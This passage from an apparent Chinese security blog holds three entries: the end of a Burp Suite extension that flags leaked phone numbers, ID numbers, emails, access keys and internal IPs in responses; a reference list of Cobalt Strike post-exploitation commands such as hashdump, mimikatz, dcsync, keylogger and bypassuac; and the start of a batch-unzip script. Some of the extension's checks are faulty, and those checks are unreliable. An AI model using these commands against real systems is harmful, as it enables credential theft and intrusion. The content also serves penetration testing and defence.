class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs python"><span class="hljs-comment"># -*- coding:utf-8 -*-</span><br><span class="hljs-comment"># Improve: by novy</span><br><br><span class="hljs-keyword">import</span> time<br><span class="hljs-keyword">import</span> json<br><span class="hljs-keyword">import</span> re<br><br><span class="hljs-keyword">from</span> burp <span class="hljs-keyword">import</span> IBurpExtender<br><span class="hljs-keyword">from</span> burp <span class="hljs-keyword">import</span> IHttpListener<br><span class="hljs-keyword">from</span> burp <span class="hljs-keyword">import</span> IMessageEditorTab<br><span class="hljs-keyword">from</span> burp <span class="hljs-keyword">import</span> IMessageEditorTabFactory<br><br><span class="hljs-keyword">from</span> java.io <span class="hljs-keyword">import</span> PrintWriter<br><br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">BurpExtender</span>(<span class="hljs-params">IBurpExtender, IHttpListener, IMessageEditorTabFactory</span>):</span><br>    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">registerExtenderCallbacks</span>(<span class="hljs-params">self, callbacks</span>):</span><br>        self._callbacks = callbacks<br>        self._helpers = callbacks.getHelpers()<br>        callbacks.setExtensionName(<span class="hljs-string">&quot;Spartan - Wheel king&quot;</span>)<br>        self._stdout = PrintWriter(callbacks.getStdout(), <span class="hljs-literal">True</span>)<br>        callbacks.registerHttpListener(self)<br>        callbacks.registerMessageEditorTabFactory(self)<br>        <span class="hljs-built_in">print</span> <span class="hljs-string">&#x27;&#x27;&#x27;</span><br><span class="hljs-string">        [+] #####################################</span><br><span class="hljs-string">        [+] chao bie ren de</span><br><span class="hljs-string">        [+] Improve: novy</span><br><span class="hljs-string">        [+] novy.baklib.com</span><br><span class="hljs-string">        Readme:</span><br><span class="hljs-string">        [+] Leakage of regular information such as order number, mobile phone number, account password, ID card, etc.</span><br><span class="hljs-string">        [+] Yellow represents a single information leak, red represents multiple information leaks</span><br><span class="hljs-string">        [+] Please add more functions by yourself, support unlimited customization</span><br><span class="hljs-string">        [+] Not just for mining information leakage.You can create your own plug-in with just a little knowledge of python</span><br><span class="hljs-string">        [+] #####################################</span><br><span class="hljs-string">        &#x27;&#x27;&#x27;</span><br><br>    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">createNewInstance</span>(<span class="hljs-params">self, controller, editable</span>):</span><br>        <span class="hljs-keyword">return</span> MarkINFOTab(self, controller, editable)<br><br>    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">processHttpMessage</span>(<span class="hljs-params">self, toolFlag, messageIsRequest, messageInfo</span>):</span><br>        <span class="hljs-keyword">if</span> messageIsRequest:<br>            <span class="hljs-keyword">return</span><br>        content = messageInfo.getResponse()<br>        r = self._helpers.analyzeResponse(content)<br>        msg = content[r.getBodyOffset():].tostring()<br><br>        <span class="hljs-keyword">if</span> isPhone(msg) <span class="hljs-keyword">or</span> isIdCard(msg) <span class="hljs-keyword">or</span> isEmail(msg) <span class="hljs-keyword">or</span> ossinfo(msg) <span class="hljs-keyword">or</span> ipaddress(msg) <span class="hljs-keyword">or</span> userpass(msg) <span class="hljs-keyword">or</span> orderid(msg):<br>            messageInfo.setHighlight(<span class="hljs-string">&#x27;yellow&#x27;</span>)<br><br>        <span class="hljs-keyword">if</span> (isPhone(msg) <span class="hljs-keyword">and</span> isIdCard(msg)) <span class="hljs-keyword">or</span> (isPhone(msg) <span class="hljs-keyword">and</span> isEmail(msg)) <span class="hljs-keyword">or</span> (isIdCard(msg) <span class="hljs-keyword">and</span> isEmail(msg)) <span class="hljs-keyword">or</span> (ipaddress(msg) <span class="hljs-keyword">and</span> userpass(msg)) <span class="hljs-keyword">or</span> (ossinfo(msg) <span class="hljs-keyword">and</span> ipaddress(msg)) <span class="hljs-keyword">or</span> (isEmail(msg) <span class="hljs-keyword">and</span> ossinfo(msg)) <span class="hljs-keyword">or</span> (userpass(msg) <span class="hljs-keyword">and</span> orderid(msg)):<br>            messageInfo.setHighlight(<span class="hljs-string">&#x27;red&#x27;</span>)<br><br>      <span class="hljs-comment">#  if xsspayload(msg):</span><br>       <span class="hljs-comment">#  messageInfo.setHighlight(&#x27;blue&#x27;)</span><br><br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">MarkINFOTab</span>(<span class="hljs-params">IMessageEditorTab</span>):</span><br>    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__init__</span>(<span class="hljs-params">self, extender, controller, editable</span>):</span><br>        self._extender = extender<br>        self._helpers = extender._helpers<br>        self._editable = editable<br>        self._txtInput = extender._callbacks.createTextEditor()<br>        self._txtInput.setEditable(editable)<br>        self.isInfo = <span class="hljs-literal">False</span><br><br>    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">getTabCaption</span>(<span class="hljs-params">self</span>):</span><br>        <span class="hljs-keyword">return</span> <span class="hljs-string">&quot;Keyword&quot;</span><br><br>    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">getUiComponent</span>(<span class="hljs-params">self</span>):</span><br>        <span class="hljs-keyword">return</span> self._txtInput.getComponent()<br><br>    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">isEnabled</span>(<span class="hljs-params">self, content, isRequest</span>):</span><br>        r = self._helpers.analyzeResponse(content)<br>        msg = content[r.getBodyOffset():].tostring()<br>        iphone = isPhone(msg)<br>        email = isEmail(msg)<br>        idcard = isIdCard(msg)<br>        oss = ossinfo(msg)<br>        address = ipaddress(msg)<br>        userp = userpass(msg)<br>        order = orderid(msg)<br>      <span class="hljs-comment">#  payload = xsspayload(msg)</span><br>        <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> isRequest:<br>            <span class="hljs-keyword">if</span> iphone <span class="hljs-keyword">or</span> email <span class="hljs-keyword">or</span> idcard <span class="hljs-keyword">or</span> oss <span class="hljs-keyword">or</span> address <span class="hljs-keyword">or</span> userp <span class="hljs-keyword">or</span> order:<br>                <span class="hljs-keyword">return</span> <span class="hljs-literal">True</span><br><br>    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">setMessage</span>(<span class="hljs-params">self, content, isRequest</span>):</span><br>        <span class="hljs-keyword">if</span> content:<br>            <span class="hljs-keyword">if</span> isRequest:<br>                r = self._helpers.analyzeRequest(content)<br>            <span class="hljs-keyword">else</span>:<br>                r = self._helpers.analyzeResponse(content)<br>            msg = content[r.getBodyOffset():].tostring()<br>            info = <span class="hljs-string">&quot;&quot;</span><br>            iphone = isPhone(msg)<br>            email = isEmail(msg)<br>            idcard = isIdCard(msg)<br>            oss = ossinfo(msg)<br>            address = ipaddress(msg)<br>            userp = userpass(msg)<br>            order = orderid(msg)<br>         <span class="hljs-comment">#   payload = xsspayload(msg)</span><br>            <span class="hljs-keyword">if</span> iphone:<br>                info += <span class="hljs-string">&#x27;[Phone] &#x27;</span> + <span class="hljs-string">&#x27;,&#x27;</span>.join(iphone) + <span class="hljs-string">&#x27;\n&#x27;</span><br><br>            <span class="hljs-keyword">if</span> email:<br>                info += <span class="hljs-string">&#x27;[Mail] &#x27;</span> + <span class="hljs-string">&#x27;,&#x27;</span>.join(email) + <span class="hljs-string">&#x27;\n&#x27;</span><br><br>            <span class="hljs-keyword">if</span> idcard:<br>                info += <span class="hljs-string">&#x27;[IDCard] &#x27;</span> + <span class="hljs-string">&#x27;,&#x27;</span>.join(idcard) + <span class="hljs-string">&#x27;\n&#x27;</span><br><br>            <span class="hljs-keyword">if</span> oss:<br>                info += <span class="hljs-string">&#x27;[Oss] &#x27;</span> + <span class="hljs-string">&#x27;,&#x27;</span>.join(oss) + <span class="hljs-string">&#x27;\n&#x27;</span><br><br>            <span class="hljs-keyword">if</span> address:<br>                info += <span class="hljs-string">&#x27;[Address] &#x27;</span> + <span class="hljs-string">&#x27;,&#x27;</span>.join(address) + <span class="hljs-string">&#x27;\n&#x27;</span><br><br>            <span class="hljs-keyword">if</span> userp:<br>                info += <span class="hljs-string">&#x27;[Userp] &#x27;</span> + <span class="hljs-string">&#x27;,&#x27;</span>.join(userp) + <span class="hljs-string">&#x27;\n&#x27;</span><br><br>            <span class="hljs-keyword">if</span> order:<br>                info += <span class="hljs-string">&#x27;[Order] &#x27;</span> + <span class="hljs-string">&#x27;,&#x27;</span>.join(order) + <span class="hljs-string">&#x27;\n&#x27;</span><br><br>      <span class="hljs-comment">#      if payload:</span><br>            <span class="hljs-comment">#    info += &#x27;[Payload] &#x27; + &#x27;,&#x27;.join(payload) + &#x27;\n&#x27;</span><br><br>            self._txtInput.setText(info)<br>        <span class="hljs-keyword">else</span>:<br>            <span class="hljs-keyword">return</span> <span class="hljs-literal">False</span><br><br><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">isPhone</span>(<span class="hljs-params">string</span>):</span><br>    iphones = re.findall(<span class="hljs-string">r&#x27;((13[0-9]|14[5-9]|15[012356789]|166|17[0-8]|18[0-9]|19[8-9])[0-9]&#123;8&#125;)&#x27;</span>, string)<br>    res = []<br>    <span class="hljs-keyword">if</span> iphones != []:<br>        <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> iphones:<br>            lens = string.find(i[<span class="hljs-number">0</span>])<br>            <span class="hljs-keyword">if</span> (string[lens-<span class="hljs-number">1</span>:lens].isdigit()) <span class="hljs-keyword">or</span> (string[lens+<span class="hljs-number">11</span>:lens+<span class="hljs-number">12</span>].isdigit()):<br>                <span class="hljs-keyword">pass</span><br>            <span class="hljs-keyword">else</span>:<br>                res.append(i[<span class="hljs-number">0</span>])<br>        <span class="hljs-keyword">if</span> res != []:<br>            <span class="hljs-keyword">return</span> res<br>        <span class="hljs-keyword">else</span>:<br>            <span class="hljs-keyword">return</span> <span class="hljs-literal">False</span><br>    <span class="hljs-keyword">else</span>:<br>        <span class="hljs-keyword">return</span> <span class="hljs-literal">False</span><br><br><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">isIdCard</span>(<span class="hljs-params">string</span>):</span><br>    coefficient = [<span class="hljs-number">7</span>, <span class="hljs-number">9</span>, <span class="hljs-number">10</span>, <span class="hljs-number">5</span>, <span class="hljs-number">8</span>, <span class="hljs-number">4</span>, <span class="hljs-number">2</span>, <span class="hljs-number">1</span>, <span class="hljs-number">6</span>, <span class="hljs-number">3</span>, <span class="hljs-number">7</span>, <span class="hljs-number">9</span>, <span class="hljs-number">10</span>, <span class="hljs-number">5</span>, <span class="hljs-number">8</span>, <span class="hljs-number">4</span>, <span class="hljs-number">2</span>]<br>    parityBit = <span class="hljs-string">&#x27;10X98765432&#x27;</span><br>    idcards = re.findall(<span class="hljs-string">r&#x27;([1-9]\d&#123;5&#125;[1-9]\d&#123;3&#125;((0\d)|(1[0-2]))(([0|1|2]\d)|3[0-1])((\d&#123;4&#125;)|\d&#123;3&#125;[xX]))&#x27;</span>, string)<br>    res = []<br>    <span class="hljs-keyword">if</span> idcards != []:<br>        <span class="hljs-keyword">for</span> idcard <span class="hljs-keyword">in</span> idcards:<br>            sumnumber = <span class="hljs-number">0</span><br>            <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">17</span>):<br>                sumnumber += <span class="hljs-built_in">int</span>(idcard[<span class="hljs-number">0</span>][i]) * coefficient[i]<br>            <span class="hljs-keyword">if</span> parityBit[sumnumber % <span class="hljs-number">11</span>] == idcard[<span class="hljs-number">0</span>][-<span class="hljs-number">1</span>]:<br>                res.append(idcard[<span class="hljs-number">0</span>])<br>        <span class="hljs-keyword">if</span> res != []:<br>            <span class="hljs-keyword">return</span> res<br>        <span class="hljs-keyword">else</span>:<br>            <span class="hljs-keyword">return</span> <span class="hljs-literal">False</span><br>    <span class="hljs-keyword">else</span>:<br>        <span class="hljs-keyword">return</span> <span class="hljs-literal">False</span><br><br><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">isEmail</span>(<span class="hljs-params">string</span>):</span><br>    emails = re.findall(<span class="hljs-string">r&#x27;[a-z0-9A-Z_]&#123;1,19&#125;@[0-9a-zA-Z]&#123;1,13&#125;\.[a-z]&#123;1,6&#125;&#x27;</span>, string)<br>    <span class="hljs-keyword">if</span> emails != [<span class="hljs-string">&#x27;&#x27;</span>]:<br>        <span class="hljs-keyword">return</span> emails<br>    <span class="hljs-keyword">else</span>:<br>        <span class="hljs-keyword">return</span> <span class="hljs-literal">False</span><br><br><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">ossinfo</span>(<span class="hljs-params">string</span>):</span><br>    ossinfom = re.findall(<span class="hljs-string">r&#x27;([A|a]ccess[K|k]ey[I|i]d|[A|a]ccess[K|k]ey[S|s]ecret)&#x27;</span>, string)<br>    <span class="hljs-keyword">if</span> ossinfom != [<span class="hljs-string">&#x27;&#x27;</span>]:<br>        <span class="hljs-keyword">return</span> ossinfom<br>    <span class="hljs-keyword">else</span>:<br>        <span class="hljs-keyword">return</span> <span class="hljs-literal">False</span><br><br><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">ipaddress</span>(<span class="hljs-params">string</span>):</span><br>    addressip = re.findall(<span class="hljs-string">r&#x27;(?:10\.\d&#123;1,3&#125;\.\d&#123;1,3&#125;\.\d&#123;1,3&#125;)|(?:172\.(?:(?:1[6-9])|(?:2\d)|(?:3[01]))\.\d&#123;1,3&#125;\.\d&#123;1,3&#125;)|(?:192\.168\.\d&#123;1,3&#125;\.\d&#123;1,3&#125;)&#x27;</span>, string)<br>    <span class="hljs-keyword">if</span> addressip != [<span class="hljs-string">&#x27;&#x27;</span>]:<br>        <span class="hljs-keyword">return</span> addressip<br>    <span class="hljs-keyword">else</span>:<br>        <span class="hljs-keyword">return</span> <span class="hljs-literal">False</span><br><br><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">userpass</span>(<span class="hljs-params">string</span>):</span><br>    passuser = re.findall(<span class="hljs-string">r&#x27;(i?)\S.*[user]&#x27;</span>, string)<br>    <span class="hljs-keyword">if</span> passuser != [<span class="hljs-string">&#x27;&#x27;</span>]:<br>        <span class="hljs-keyword">return</span> passuser<br>    <span class="hljs-keyword">else</span>:<br>        <span class="hljs-keyword">return</span> <span class="hljs-literal">False</span><br><br><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">orderid</span>(<span class="hljs-params">string</span>):</span><br>    orid = re.findall(<span class="hljs-string">r&#x27;(^\d&#123;8,18&#125;$)&#x27;</span>, string)<br>    <span class="hljs-keyword">if</span> orid != [<span class="hljs-string">&#x27;&#x27;</span>]:<br>        <span class="hljs-keyword">return</span> orid<br>    <span class="hljs-keyword">else</span>:<br>        <span class="hljs-keyword">return</span> <span class="hljs-literal">False</span><br><br><span class="hljs-comment">#def xsspayload(string):</span><br> <span class="hljs-comment">#   xss = re.findall(r&#x27;&#x27;, string)</span><br> <span class="hljs-comment">#   if xss != [&#x27;&#x27;]:</span><br>  <span class="hljs-comment">#      return xss</span><br> <span class="hljs-comment">#   else:</span><br>  <span class="hljs-comment">#      return False</span><br></code></pre></div></td></tr></table></figure>]]></content>
    
    
    <categories>
      
      <category>插件</category>
      
    </categories>
    
    
  </entry>
  
  
  
  <entry>
    <title>Cobalt Strike常用命令</title>
    <link href="/2020/09/10/20/"/>
    <url>/2020/09/10/20/</url>
    
    <content type="html"><![CDATA[<figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">browserpivot              注入受害者浏览器进程<br>    bypassuac                 绕过UAC<br>    cancel                    取消正在进行的下载<br>    <span class="hljs-built_in">cd</span>                        切换目录<br>    checkin                   强制让被控端回连一次<br>    clear                     清除beacon内部的任务队列<br>    connect                   Connect to a Beacon peerover TCP<br>    covertvpn                 部署Covert VPN客户端<br>    cp                        复制文件<br>    dcsync                    从DC中提取密码哈希<br>    desktop                   远程VNC<br>    dllinject                 反射DLL注入进程<br>    dllload                   使用LoadLibrary将DLL加载到进程中<br>    download                  下载文件<br>    downloads                 列出正在进行的文件下载<br>    drives                    列出目标盘符<br>    elevate                   尝试提权<br>   execute                   在目标上执行程序(无输出)<br>    execute-assembly          在目标上内存中执行本地.NET程序<br>    <span class="hljs-built_in">exit</span>                      退出beacon<br>    getprivs                  Enable system privileges oncurrent token<br>    getsystem                 尝试获取SYSTEM权限<br>    getuid                    获取用户ID<br>    hashdump                  转储密码哈希值<br>    <span class="hljs-built_in">help</span>                      帮助<br>    inject                    在特定进程中生成会话<br>    jobkill                   杀死一个后台任务<br>    <span class="hljs-built_in">jobs</span>                      列出后台任务<br>    kerberos_ccache_use       从ccache文件中导入票据应用于此会话<br>    kerberos_ticket_purge     清除当前会话的票据<br>    kerberos_ticket_use       从ticket文件中导入票据应用于此会话<br>    keylogger                 键盘记录<br>    <span class="hljs-built_in">kill</span>                      结束进程<br>    link                      Connect to a Beacon peerover a named pipe<br>    logonpasswords            使用mimikatz转储凭据和哈希值<br>    ls                        列出文件<br>    make_token                创建令牌以传递凭据<br>    mimikatz                  运行mimikatz<br>    mkdir                     创建一个目录<br>    mode dns                  使用DNS A作为通信通道(仅限DNS beacon)<br>    mode dns-txt              使用DNS TXT作为通信通道(仅限D beacon)<br>    mode dns6                 使用DNS AAAA作为通信通道(仅限DNS beacon)<br>    mode http                 使用HTTP作为通信通道<br>    mv                        移动文件<br>    net                       net命令<br>    note                      备注      <br>    portscan                  进行端口扫描<br>    powerpick                 通过Unmanaged PowerShell执行命令<br>    powershell                通过powershell.exe执行命令<br>    powershell-import         导入powershell脚本<br>    ppid                      Set parent PID forspawned post-ex <span class="hljs-built_in">jobs</span><br>    ps                        显示进程列表<br>    psexec                    Use a service to spawn asession on a host<br>    psexec_psh                Use PowerShell to spawn asession on a host<br>    psinject                  在特定进程中执行PowerShell命令<br>    pth                       使用Mimikatz进行传递哈希<br>    <span class="hljs-built_in">pwd</span>                       当前目录位置<br>    reg                       Query the registry<br>    rev2self                  恢复原始令牌<br>    rm                        删除文件或文件夹<br>    rportfwd                  端口转发<br>    run                       在目标上执行程序(返回输出)<br>    runas                     以另一个用户权限执行程序<br>    runasadmin                在高权限下执行程序<br>    runu                      Execute a program underanother PID<br>    screenshot                屏幕截图<br>    setenv                    设置环境变量<br>    shell                     cmd执行命令<br>    shinject                  将shellcode注入进程<br>    shspawn                   生成进程并将shellcode注入其中<br>    sleep                     设置睡眠延迟时间<br>    socks                     启动SOCKS4代理<br>    socks stop                停止SOCKS4<br>    spawn                     Spawn a session<br>    spawnas                   Spawn a session as anotheruser<br>    spawnto                  Set executable tospawn processes into<br>    spawnu                    Spawn a session underanother PID<br>    ssh                       使用ssh连接远程主机<br>    ssh-key                   使用密钥连接远程主机<br>    steal_token               从进程中窃取令牌<br>    timestomp                 将一个文件时间戳应用到另一个文件<br>    unlink                    Disconnect from parentBeacon<br>    upload                    上传文件<br>    wdigest                   使用mimikatz转储明文凭据<br>    winrm                     使用WinRM在主机上生成会话<br>    wmi                       使用WMI在主机上生成会话<br>    argue                      进程参数欺骗<br></code></pre></div></td></tr></table></figure>]]></content>
    
    
    
    <tags>
      
      <tag>Cobalt Strike</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>python批量解压</title>
    <link href="/2020/09/10/16/"/>
    <url>/2020/09/10/16/</url>
    
    <content type="html"><![CDATA[<h1 id="CODE"><a href="#CODE" class="headerlink" title="CODE"></a>CODE</h1><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">import os<br>import shutil<br>import zipfile<br>import rarfile<br> <br><span class="hljs-comment"># 首先引入需要的工具包</span><br><span class="hljs-comment"># shutil为后期移动文件所需</span><br> <br> <br><span class="hljs-comment"># 路径改这里！</span><br>parent_path = input(<span class="hljs-string">&#x27;请输入要解压的文件路径：&#x27;</span>)<br> <br><span class="hljs-comment"># 文件类型选择</span><br>file_flag = <span class="hljs-string">&#x27;.&#x27;</span> + input(<span class="hljs-string">&#x27;请输入一种需要解压的压缩类型（例：zip或rar）解压后会删除原有压缩文件，请注意备份：&#x27;</span>)<br> <br> <br><span class="hljs-comment"># 删除已解压过的文件</span><br><span class="hljs-comment"># 一定要先测试，不然很麻烦</span><br>def del_old_zip(file_path):<br>    os.remove(file_path)<br> <br> <br><span class="hljs-comment"># 解压</span><br>def zip_decompress(file_path, root):<br>    <span class="hljs-comment"># 开始</span><br>    <span class="hljs-comment"># zipfile打开zip文件</span><br>    z = zipfile.ZipFile(f<span class="hljs-string">&#x27;&#123;file_path&#125;&#x27;</span>, <span class="hljs-string">&#x27;r&#x27;</span>)<br> <br>    <span class="hljs-comment"># 解压</span><br>    z.extractall(path=f<span class="hljs-string">&quot;&#123;root&#125;&quot;</span>)  <span class="hljs-comment"># path为解压路径，解包后位于该路径下</span><br> <br>    <span class="hljs-comment"># 判断是否需要重复解包</span><br>    <span class="hljs-keyword">for</span> names <span class="hljs-keyword">in</span> z.namelist():<br>        <span class="hljs-keyword">if</span> names.endswith(file_flag):<br>            z.close()<br>            <span class="hljs-built_in">return</span> 1<br> <br>    <span class="hljs-comment"># 结束</span><br>    z.close()<br> <br>    <span class="hljs-built_in">return</span> 0<br> <br> <br>def rar_decompress(file_path, root):<br>    <span class="hljs-comment"># 开始</span><br>    <span class="hljs-comment"># rarfile打开rar文件</span><br>    z = 